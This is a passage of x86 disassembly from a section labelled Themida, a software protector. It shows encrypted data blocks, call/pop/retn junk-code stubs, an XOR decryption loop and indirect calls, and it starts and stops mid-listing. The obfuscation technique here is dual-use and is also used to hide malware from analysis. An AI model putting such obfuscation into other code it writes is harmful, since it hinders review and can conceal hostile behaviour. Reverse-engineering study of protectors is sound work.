		dd 0E8BFC380h, 0FA4B6D59h, 5810Fh, 81660000h, 89E211F3h
		dd 100FC9BDh, 6A206A06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 1C96C356h, 0E3A968D5h
		dd 8A5759B5h, 66FF6AD4h, 95FFDF8Bh, 61006B9h, 10E9h, 57A4CC00h
		dd 5B302DB7h, 135865E9h, 195FC125h, 0B8A0h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 2A61FDC3h, 0C0ECA379h, 0B70EA68h, 47840FC0h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 622BC357h, 8B46F645h, 19958BD0h, 8306102Dh
		dd 101D19BDh, 840F0006h, 12h, 2AD195FFh, 8A0F0610h, 6
		dd 23C59D0Bh, 858B0610h, 61010C5h, 2E01BD89h, 57600610h
		dd 815EEEB4h, 775B45D9h, 0C6611Ah, 0D5DB8100h, 580E44CAh
		dd 9099D01h, 0BD890610h, 6102FC9h, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0F406C356h, 82B07C96h, 0F697400h, 681h, 0A9BD3100h
		dd 0E8061009h, 5, 30190FB3h, 45952917h,	5A061008h, 0F04C1F6h
		dd 0B384h, 0DDB58900h, 8B06101Ah, 1013119Dh, 0A2E906h
		dd 830F0000h, 1, 899D23FCh, 8B061005h, 102955B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0F729B743h, 0C870Fh,	800F0000h, 6, 1B219D8Bh, 0C6810610h
		dd 1180h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0D3C35747h, 10296676h, 0E9B944CBh, 5, 0E8B4195Bh
		dd 0C7D88B21h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 1CD14BBAh, 8BEC9CFEh
		dd 53006A5Eh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8BA663D2h, 1012B195h, 0F88306h, 0C1D840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8B72F1C3h, 0D6BF0FDAh, 0F01F883h,	17D85h
		dd 0FFE28000h, 0B8h, 68D0F00h, 8B000000h, 1004CD95h, 0FC00B06h
		dd 10E84h, 1AF38100h, 0E90F4C5Eh, 10h, 0AEDDA1DFh, 7599D892h
		dd 5A7F51EEh, 0E3E1F264h, 0F01F883h, 10184h, 71952300h
		dd 83061007h, 840F03F8h, 74h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 37C35646h, 0DF80954Fh, 8BC02BA9h
		dd 1007819Dh, 0E0BD8D06h, 8B005B89h, 100BC99Dh,	6AE7FF06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h
		dd 0E9EFC353h, 0Ah, 0CAF06344h,	89898A24h, 880F440Eh, 0Ch
		dd 6890Fh, 9D890000h, 61010FDh,	1B8h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 0BE94345h, 50000000h, 96B2FBA9h, 4FD11C72h, 0BD8DB28Fh
		dd 5B89E0h, 0FFD78B66h,	50006AE7h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 47D2C6A4h, 7900DDCBh
		dd 8056C1F9h, 8D5BCCDBh, 10448FBDh, 1D958B06h, 0E9061013h
		dd 317h, 0CAC4C381h, 85C7281Fh,	6104E5Eh, 5, 5B8F5h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0C14FC3C3h, 2329958Bh, 0EFE90610h, 0F000009h, 0F883D2B7h
		dd 0FD850F02h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 2709C353h, 38542EB4h
		dd 8081213Dh, 0B833DBh,	8B000000h, 10208D9Dh, 0FC00B06h
		dd 8F84h, 82BA6600h, 1F8832Ch, 0FF74840Fh, 0F883FFFFh
		dd 0ED840F03h, 6AFFFFFEh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0F43AC351h,	15880F6Ah
		dd 0E9000000h, 10h, 0A0EC8334h,	0EB6062BCh, 0D19F1AE1h
		dd 27E08h, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 480EC5C3h, 0D98BCE0Ch, 89E0BD8Dh
		dd 958B005Bh, 61000C5h,	2960E7FFh, 100825BDh, 89B58906h
		dd 61061008h, 4687BD8Dh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0ABE3F7C3h, 1DAE9h, 0F3816600h
		dd 9D8B36F3h, 6100CB1h,	0F03F883h, 4385h, 9D8B6000h, 6100719h
		dd 61D9B70Fh, 68C0Fh, 9D8B0000h, 6100A09h, 481BBD8Dh, 0FE80610h
		dd 0AF000000h, 0E7B81C8Bh, 23A31633h, 0C277AEA8h, 0F560834h
		dd 85h,	0E95A5A00h, 187h, 0CCB6BA66h, 0F05F883h, 3785h
		dd 3860F00h, 0F000000h,	83E9DABFh, 6A000008h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0B87EC351h, 0F0074E9h, 0EB81DBBFh, 0D4894E5h, 0F06F883h
		dd 5885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0A2EA814Bh, 8D422B46h, 104A13BDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 5F48674Eh, 0BD898386h, 61013B5h,	0E6E9h
		dd 0C6BB6600h, 7F88364h, 64850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 201A48C3h
		dd 9EFF1E48h, 9D8B2A3Ah, 6101CA5h, 1BD8DF5h, 8906102Bh
		dd 102A158Dh, 120E906h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0BFB5F1C3h, 5A966AF7h
		dd 0BA663E45h, 0F8834D3Fh, 6C850F0Ah, 66000000h, 8DA80CBBh
		dd 104C0BBDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 87878F4Ah, 6E8093CFh, 38E95AC0h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 1DF9C352h, 0C122344Ch,	0DE9h
		dd 0EBD39000h, 0C963EB2Ah, 15D9E148h, 81663AC9h, 5768B6DBh
		dd 14019D33h, 72B90610h, 8B0E20B6h, 102DA59Dh, 3F8306h
		dd 65840Fh, 7E90000h, 64000000h, 0D72CBA0Ah, 0F3034DDh
		dd 0D1DFBF0Fh, 57006AC9h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0E870937Fh, 0ADF7784Dh
		dd 6A47A2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 61EDFCC3h, 0B4A57A7Ah, 0FFFF98E9h, 8D9D89FFh
		dd 5F061022h, 0BD89F08Ah, 6104E07h, 68A0Fh, 9D890000h
		dd 6101B35h, 14E98D8Dh,	6A0610h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0BBC302C3h, 28B0F97h
		dd 0B3000000h, 0B5FFF5B7h, 61009ADh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0F3C35242h,	4D6F84B8h, 5E95B25h
		dd 5000000h, 0FD44FF24h, 0AB5E858Dh, 8D500612h,	1055B8BDh
		dd 0E78D8D06h, 0B8061070h, 54831ABCh, 730CF2Bh,	4947C8D0h
		dd 0B58DF875h, 6107058h, 70FF8D8Dh, 0CF2B0610h,	0C933A4F3h
		dd 0B8h, 74C00B00h, 19BD8346h, 6101Dh, 95FF0674h, 6102AD1h
		dd 4E07B58Bh, 858D0610h, 612AB5Eh, 858DD0FFh, 6104264h
		dd 85C7D0FFh, 6101C21h,	1, 30F5A58Bh, 0B58B0610h, 61030E9h
		dd 21C9AD8Bh, 0C0330610h, 57000CC2h, 0BE8h, 0F4F80200h
		dd 76F426D0h, 4A248AC1h, 26C28166h, 6A5B5A53h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 9ABCC351h, 319D8B9Bh, 83061001h, 10306DBDh, 840F0006h
		dd 18h,	12759531h, 95FF0610h, 6100AF5h,	23D99D89h, 95890610h
		dd 6101BA1h, 2969BD83h,	0F000610h, 1C085h, 0EE900h, 868B0000h
		dd 18D86B27h, 5798E8F5h, 5E7ACDCBh, 2209BD83h, 0F010610h
		dd 1A085h, 0B1B50100h, 8306100Ch, 102DA1BDh, 840F0006h
		dd 18Dh, 7D9D8960h, 0F06100Ah, 8361F3B7h, 104E5ABDh, 840F0006h
		dd 175h, 237D9589h, 858D0610h, 612AB5Eh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 0DCC35747h, 0B3FFE985h
		dd 8F0FBF7Ch, 6, 2D01958Bh, 9EBA0610h, 8B1F90FEh, 104E07B5h
		dd 42E28106h, 8033FDFDh, 0D0FF00D7h, 4870Fh, 0BA660000h
		dd 85C621F3h, 61023E5h,	559D8B54h, 0E8061014h, 11h, 27BE0EE3h
		dd 8CBA6A13h, 0ACF80A72h, 93EA5DDCh, 0DF8B660Dh, 8BFC685Ah
		dd 3BB7EEE9h, 8243481h,	8B11A735h, 199D8BD0h, 0FF06100Ah
		dd 101499B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0C690C5CAh, 64958B36h, 0FF80E67h
		dd 858DD0BFh, 6103A32h,	0C3BF0F60h, 2BE38166h, 0D0FF6153h
		dd 0EE9h, 0C5A2D300h, 5B07F1F8h, 0FE91A466h, 6AE386BFh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0C005740Ch, 0BBFF6ACBh, 423BBFBDh, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 512019C3h, 8D91A5D9h, 858B603Fh, 6100059h, 0B58961FCh
		dd 6101631h, 1911B5FFh,	6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0ED5C26C3h, 95FFD7C1h
		dd 61009ADh, 7B58BF9h, 6006104Eh, 0F1BD8960h, 6006100Ah
		dd 0BE96161h, 87000000h, 65F220A4h, 6F4F693h, 0C3619054h
		dd 0B58BB7B6h, 61010C5h, 0C959D8Bh, 0F60B0610h,	27840Fh
		dd 0BF90000h, 1008519Dh, 6C606h, 178D0Fh, 12E90000h, 6C000000h
		dd 2616538h, 59FE23B9h,	0A6509D0Ah, 928DE23Ah, 0F858935h
		dd 8906104Eh, 100A75B5h, 0F88306h, 385840Fh, 5BBA0000h
		dd 0B83D574Fh, 0
; ---------------------------------------------------------------------------
		mov	edx, 57283A0Ah
		cmp	eax, 0
		jz	loc_55298B
		mov	dh, 0CCh
		movzx	edx, di
		cmp	eax, 2
		jnz	loc_552933
		sbb	edx, 5E0313B0h
		xor	ebx, 5E7D17ADh
		lea	eax, [ebp+610448Ah]
		push	0
		push	esi
		call	sub_5528A1
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5528A1	proc near		; CODE XREF: Themida_:00552899p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_5528A1	endp

; ---------------------------------------------------------------------------
		db 76h,	8Bh, 9Dh
; ---------------------------------------------------------------------------
		frstor	byte ptr [edi]
		adc	[esi], al
		sub	eax, 929h
		push	0
		push	edx
		call	sub_5528C8
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5528C8	proc near		; CODE XREF: Themida_:005528C0p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5528C8	endp

; ---------------------------------------------------------------------------
		dd 0BD5C56ADh, 6559830Fh, 9509C588h, 6102885h, 14E890h
		dd 1FC40000h, 0CE0FB28Ah, 63F27E78h, 6218CF86h,	0B25D74E4h
		dd 525084F8h, 310FD88Bh, 8D0Fh,	585A0000h, 8B60505Bh, 0E99061F7h
		dd 0Ah,	8E15ECE6h, 93CD5A4Eh, 0FC3E69Eh, 687h, 859D8B00h
; ---------------------------------------------------------------------------
		or	edx, [eax]
		push	es


loc_552933:				; CODE XREF: Themida_:0055287Ej
		mov	eax, 0
		push	0
		push	ebx
		call	sub_552943
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552943	proc near		; CODE XREF: Themida_:0055293Bp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_552943	endp

; ---------------------------------------------------------------------------
		aad	0E3h
		inc	ecx
		pop	esp
		xchg	eax, esi
		jz	short loc_552969
		mov	bh, 0D1h
		jmp	loc_552BE3
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_55296C


loc_552969:				; CODE XREF: Themida_:00552958j
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55296C	proc near		; CODE XREF: Themida_:00552964p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_55296C	endp

; ---------------------------------------------------------------------------
		dd 0B218FFC8h, 15595365h, 0E9953149h
; ---------------------------------------------------------------------------
		and	[eax], edx
		push	es


loc_55298B:				; CODE XREF: Themida_:00552870j
		mov	eax, 1
		mov	[ebp+6102D75h],	ecx
		lea	edi, [ebp+610448Fh]
		add	dl, 82h
		jmp	loc_552ADE
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_5529AF
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5529AF	proc near		; CODE XREF: Themida_:005529A7p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5529AF	endp

; ---------------------------------------------------------------------------
		db 88h
		dd 81256E1Fh, 58E149EAh, 0CE91Bh, 0CDCB0000h, 99905E7Ah
		dd 1292983Dh, 0F883A4E5h, 6D850F02h, 6A000000h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 0A8A1C356h, 1812CACh, 1020298Dh, 87BD8D06h, 0F061046h
		dd 8Fh,	0C4E900h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 633E73C3h, 11E956F2h
		dd 81000000h, 7D143A28h, 0C083A89Eh, 0F8307459h, 0B2855732h
		dd 0F03F883h, 7385h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 0D928764Dh, 559D8BFEh
		dd 6006102Eh, 10E9h, 5B85A00h, 446EBC4Ch, 0A14F9B2h, 4262D6CAh
		dd 0C1958BE3h, 61061010h, 481BBD8Dh, 950B0610h,	6102FD1h
		dd 31E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 6F1498Dh,	0F05F883h, 985h, 80E900h
		dd 0BA660000h
		db 0AEh, 36h
; ---------------------------------------------------------------------------


loc_552ADE:				; CODE XREF: Themida_:0055299Fj
		push	edi
		push	0
		push	eax
		call	sub_552AEA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552AEA	proc near		; CODE XREF: Themida_:00552AE2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 17h
		inc	eax
		push	eax
		retn
sub_552AEA	endp

; ---------------------------------------------------------------------------
		xchg	dl, [ecx-42D67A98h]
		std
		and	dl, [eax]
		push	es
		mov	ecx, 0E20B672h
		jge	loc_552B12
		movsx	ebx, dx


loc_552B12:				; CODE XREF: Themida_:00552B09j
					; Themida_:00552B53j
		cmp	dword ptr [edi], 0
		jz	loc_552B5A
		mov	bh, 0B2h
		xor	[edi], cl
		mov	[ebp+61023D9h],	edi
		ror	ecx, 1
		push	0
		push	ebx
		call	sub_552B32
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552B32	proc near		; CODE XREF: Themida_:00552B2Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_552B32	endp

; ---------------------------------------------------------------------------
		shl	byte ptr [ecx-79h], 1
		cmp	ds:0B2F38A26h, ecx
		inc	edi
		inc	edi
		add	edx, [ebp+6102085h]
		jmp	loc_552B12
; ---------------------------------------------------------------------------
		mov	bl, 8


loc_552B5A:				; CODE XREF: Themida_:00552B15j
		cmp	eax, 5
		jnz	loc_552BE3
		sub	bh, 0E1h
		mov	cx, ds
		cmc
		test	cl, 4
		jnz	loc_552BBC
		mov	dx, si
		mov	eax, 0
		push	0
		push	ebp
		call	sub_552B86
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552B86	proc near		; CODE XREF: Themida_:00552B7Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_552B86	endp

; ---------------------------------------------------------------------------
		dw 0E808h
		dd 9, 8A748BC7h, 130B4379h, 0DA8B660Eh,	35E95Ah, 860F0000h
		dd 5, 59D6FEBBh, 0D38B6635h
; ---------------------------------------------------------------------------


loc_552BBC:				; CODE XREF: Themida_:00552B6Dj
		mov	eax, [ebp+61015ADh]
		cld
		jmp	eax
; ---------------------------------------------------------------------------
		call	near ptr loc_552BD7+5
		push	eax
		push	es
		mov	eax, 0D23AF621h
		shr	dword ptr [ebp-2E09299Ah], cl


loc_552BD7:				; CODE XREF: Themida_:00552BC5p
		sub	dword ptr [ebx], 29432545h
		mov	ch, 31h
		xor	edx, [eax]
		push	es
		pop	edx


loc_552BE3:				; CODE XREF: Themida_:0055295Cj
					; Themida_:00552B5Dj
		cmp	dword ptr [ebp+61009ADh], 0
		jnz	loc_552CF2
		mov	edx, [ebp+6102E65h]
		mov	edx, 3919C40h
		nop
		mov	dl, 6Ch
		push	eax
		push	esi
		call	near ptr loc_552C0B+2
		adc	esp, [esi]
		test	ebx, ebx
		pop	ebp
		pop	edi


loc_552C0B:				; CODE XREF: Themida_:00552C00p
		lds	edx, [ebx-45h]
; ---------------------------------------------------------------------------
		dw 0CBC5h
		dd 5B5A1B49h, 158C0F90h, 0F000000h, 0F89h, 9E800h, 41130000h
		dd 8DECFEECh, 5A520AECh, 23E585C6h, 0B2450610h,	4E851h
		dd 69690000h, 8B668E72h, 0C3B650DAh, 424448Bh, 9C78BA66h
		dd 0F60008Bh, 0D81h, 7E800h, 0C2390000h, 95075B56h, 9E85FB8h
		dd 8F000000h, 0A2E62321h, 0D5BD121Ah, 58DF8B66h, 24448961h
		dd 0E8525004h, 5, 0C4BC784h, 5ADD8A63h,	0DE8B310Fh, 0B258585Ah
		dd 99B5FF88h, 0BA061014h, 780870B4h, 3A32858Dh,	8B660610h
		dd 0FF37B6D7h, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0CC474D31h, 8B852790h
		dd 100E2195h, 599D3106h, 89061002h, 1009AD85h, 9DF38106h
		dd 58252B9Ch, 5E9h, 2BF93300h
; ---------------------------------------------------------------------------
		frstor	byte ptr [eax]


loc_552CF2:				; CODE XREF: Themida_:00552BEAj
		cmp	dword ptr [ebp+6104E5Eh], 0
		jz	loc_552D58
		push	0
		push	esi
		call	sub_552D0A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552D0A	proc near		; CODE XREF: Themida_:00552D02p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_552D0A	endp

; ---------------------------------------------------------------------------
		adc	ah, 0Eh
		push	dword ptr [ebp+6101911h]
		push	ecx
		mov	[ebp+6100EDDh],	ebx
		pop	ebx
		call	dword ptr [ebp+61009ADh]
		push	0
		push	edi
		call	sub_552D3C
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552D3C	proc near		; CODE XREF: Themida_:00552D34p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_552D3C	endp

; ---------------------------------------------------------------------------
		dd 0D3FF49E3h, 0C2818768h, 511DCCFh
; ---------------------------------------------------------------------------


loc_552D58:				; CODE XREF: Themida_:00552CF9j
		cmp	eax, 0
		jnz	loc_552E24
		or	bx, 8A23h
		cmp	dword ptr [ebp+6101359h], 0
		jz	loc_552DB7
		mov	edx, ebx
		mov	edx, 7BEE471Dh
		push	dword ptr [ebp+6101359h]
		push	edi
		push	edi
		mov	bx, di
		pop	edx
		pop	ebx
		mov	eax, 1
		push	0
		push	eax
		call	sub_552D97
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552D97	proc near		; CODE XREF: Themida_:00552D8Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_552D97	endp

; ---------------------------------------------------------------------------
		db 1Ah
; ---------------------------------------------------------------------------
		movsd
		adc	al, 0D6h
		les	edx, [ecx+44EB806Dh]
		jmp	loc_55303F
; ---------------------------------------------------------------------------


loc_552DB7:				; CODE XREF: Themida_:00552D6Dj
		push	dword ptr [ebp+6101911h]
		push	0
		push	ebx
		call	sub_552DC8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552DC8	proc near		; CODE XREF: Themida_:00552DC0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_552DC8	endp

; ---------------------------------------------------------------------------
		dd 1D2A2DE1h, 15BD897Fh, 89061005h, 10163D9Dh, 7E806h
		dd 871D0000h, 0AAFD1665h, 957DBADCh, 0FF5A0607h, 101911B5h
		dd 0F19D0106h, 0FF061018h, 1009ADB5h, 1D858906h, 0E906101Dh
		dd 227h, 1EF19589h, 9D8B0610h, 6102FA1h
; ---------------------------------------------------------------------------


loc_552E24:				; CODE XREF: Themida_:00552D5Bj
		pop	edi
		push	0
		push	eax
		call	sub_552E30
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_552E30	proc near		; CODE XREF: Themida_:00552E28p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_552E30	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 0C5h, 62h, 0Fh
		dd 0D223ADFEh, 119D89C2h, 8306100Ch, 1012F5BDh,	850F0006h
		dd 105h, 23E585C6h, 604D0610h, 20D18589h, 0BD890610h, 61030F9h
		dd 4E861h, 76A80000h, 11E8A435h, 70000000h, 8BBC174Bh
		dd 5290F1CBh, 74C00873h, 0CD6E37A9h, 0BE9h, 7C53B200h
		dd 0F2F978DFh, 0CBEB3224h, 880F505Bh, 2, 448BDE8Ah, 56BB0424h
		dd 8B2C4EB2h, 840F5700h, 3, 5AD98B66h, 4244489h, 0BFBB6660h
		dd 61F38B6Dh, 9E85358h,	2D000000h, 0D511BFBFh, 6834E28Bh
		dd 5AEAC280h, 0E5B5FF5Bh, 81061020h, 0E7EE83CAh, 32858D54h
		dd 0E906103Ah, 14h, 8BC9A41Eh, 0D15D0D26h, 0A404B13Eh
		dd 33E2184Fh, 7B092EA3h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 3D02FDC3h, 62356433h
		dd 8589E99Fh, 61012F5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 7CC35040h, 39789F6Bh,	89C88228h, 101C7D8Dh
		dd 0B806h, 95010000h, 6101C55h,	4E07BD89h, 6A0610h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0F55B4CC3h, 12CE8949h, 9D8B59C9h, 6100E0Dh, 92DA8166h
		dd 0FC00B04h, 2D84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0ED958B74h, 0E906100Dh
		dd 6Fh,	29798509h, 0B5FF0610h, 61009ADh, 0F08A6050h, 7E9h
		dd 0FBAB5100h, 56255604h, 85895A61h, 6102F1Dh, 0AB5E858Dh
		dd 85890612h, 61029A9h,	50D18B90h, 11E8h, 99255B00h, 9D0B55F8h
		dd 8CAD1167h, 0BC494ECFh, 8C0F84F5h, 6,	8D0Fh, 905B0000h
		dd 0B810Fh, 0F600000h, 9D8BD7B7h, 61007E1h, 21952361h
; ---------------------------------------------------------------------------
		or	edx, [eax]
		push	es


loc_55303F:				; CODE XREF: Themida_:00552DB2j
		push	eax
		push	esi
		lea	edi, [ebp+61055B8h]
		lea	ecx, [ebp+6107BE9h]
		mov	eax, 748323BCh
		sub	ecx, edi


loc_553054:				; CODE XREF: Themida_:0055305Aj
		xor	[edi], al
		ror	al, 1
		inc	edi
		dec	ecx
		jnz	short loc_553054
		pop	esi
		pop	eax
		cmp	dword ptr [ebp+6101359h], 0
		jz	short loc_55306D
		mov	ecx, [ebp+6100B89h]


loc_55306D:				; CODE XREF: Themida_:00553065j
		xor	ecx, ecx
		mov	eax, 0
		or	eax, eax
		jz	loc_553124
		cmp	dword ptr [ebp+6101D19h], 0
		jz	short loc_55308B
		call	dword ptr [ebp+6102AD1h]


loc_55308B:				; CODE XREF: Themida_:00553083j
		mov	eax, 0
		or	eax, eax
		jnz	short loc_55309D
		cmp	dword ptr [ebp+6104E0Fh], 1
		jz	short loc_5530A6


loc_55309D:				; CODE XREF: Themida_:00553092j
		cmp	dword ptr [ebp+6104E0Fh], 2
		jnz	short loc_5530B4


loc_5530A6:				; CODE XREF: Themida_:0055309Bj
		mov	esi, [ebp+6104E07h]
		lea	eax, [ebp+612AB5Eh]
		call	eax


loc_5530B4:				; CODE XREF: Themida_:005530A4j
		cmp	dword ptr [ebp+610306Dh], 0
		jz	short loc_5530C3
		call	dword ptr [ebp+6100AF5h]


loc_5530C3:				; CODE XREF: Themida_:005530BBj
		lea	eax, [ebp+6104264h]
		call	eax
		cmp	dword ptr [ebp+6100855h], 2
		jnz	short loc_553103
		mov	esp, [ebp+61030F5h]
		mov	eax, [ebp+6101359h]
		mov	[esp], eax
		mov	dword ptr [ebp+6101C21h], 1
		mov	esi, [ebp+6104E0Bh]
		mov	ebp, [ebp+61021C9h]
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------
		jmp	short $+2


loc_553103:				; CODE XREF: Themida_:005530D2j
		mov	dword ptr [ebp+6101C21h], 1
		mov	esp, [ebp+61030F5h]
		mov	esi, [ebp+61030E9h]
		mov	ebp, [ebp+61021C9h]
		xor	eax, eax
		retn	0Ch
; ---------------------------------------------------------------------------


loc_553124:				; CODE XREF: Themida_:00553076j
		cmp	dword ptr [ebp+610306Dh], 0
		jz	short loc_55313C
		cmp	dword ptr [ebp+6100AF5h], 0
		jz	short loc_55313C
		call	dword ptr [ebp+6100AF5h]


loc_55313C:				; CODE XREF: Themida_:0055312Bj
					; Themida_:00553134j
		mov	esi, [ebp+6104E07h]
		retn
; ---------------------------------------------------------------------------
		jle	loc_55314F
		mov	ebx, [ebp+610089Dh]


loc_55314F:				; CODE XREF: Themida_:00553143j
		push	0
		push	edi
		call	sub_55315A


loc_553157:				; CODE XREF: Themida_:0055316Dj
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_55315A	proc near		; CODE XREF: Themida_:00553152p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 19h
		inc	edi
		push	edi
		retn
sub_55315A	endp

; ---------------------------------------------------------------------------
		shr	byte ptr [eax],	cl
		push	ebp
		jnp	short loc_553157
		scasb
		mov	ebx, [ebp+6101195h]
		mov	edx, 0
		xor	[ebp+6102885h],	ecx
		mov	[ebp+6101BC5h],	edx
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_553197
; ---------------------------------------------------------------------------


loc_553195:				; CODE XREF: Themida_:0055319Aj
		inc	eax
		inc	edi


loc_553197:				; CODE XREF: Themida_:00553193j
		cmp	byte ptr [edi],	0
		jnz	short loc_553195
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5531C6
; ---------------------------------------------------------------------------


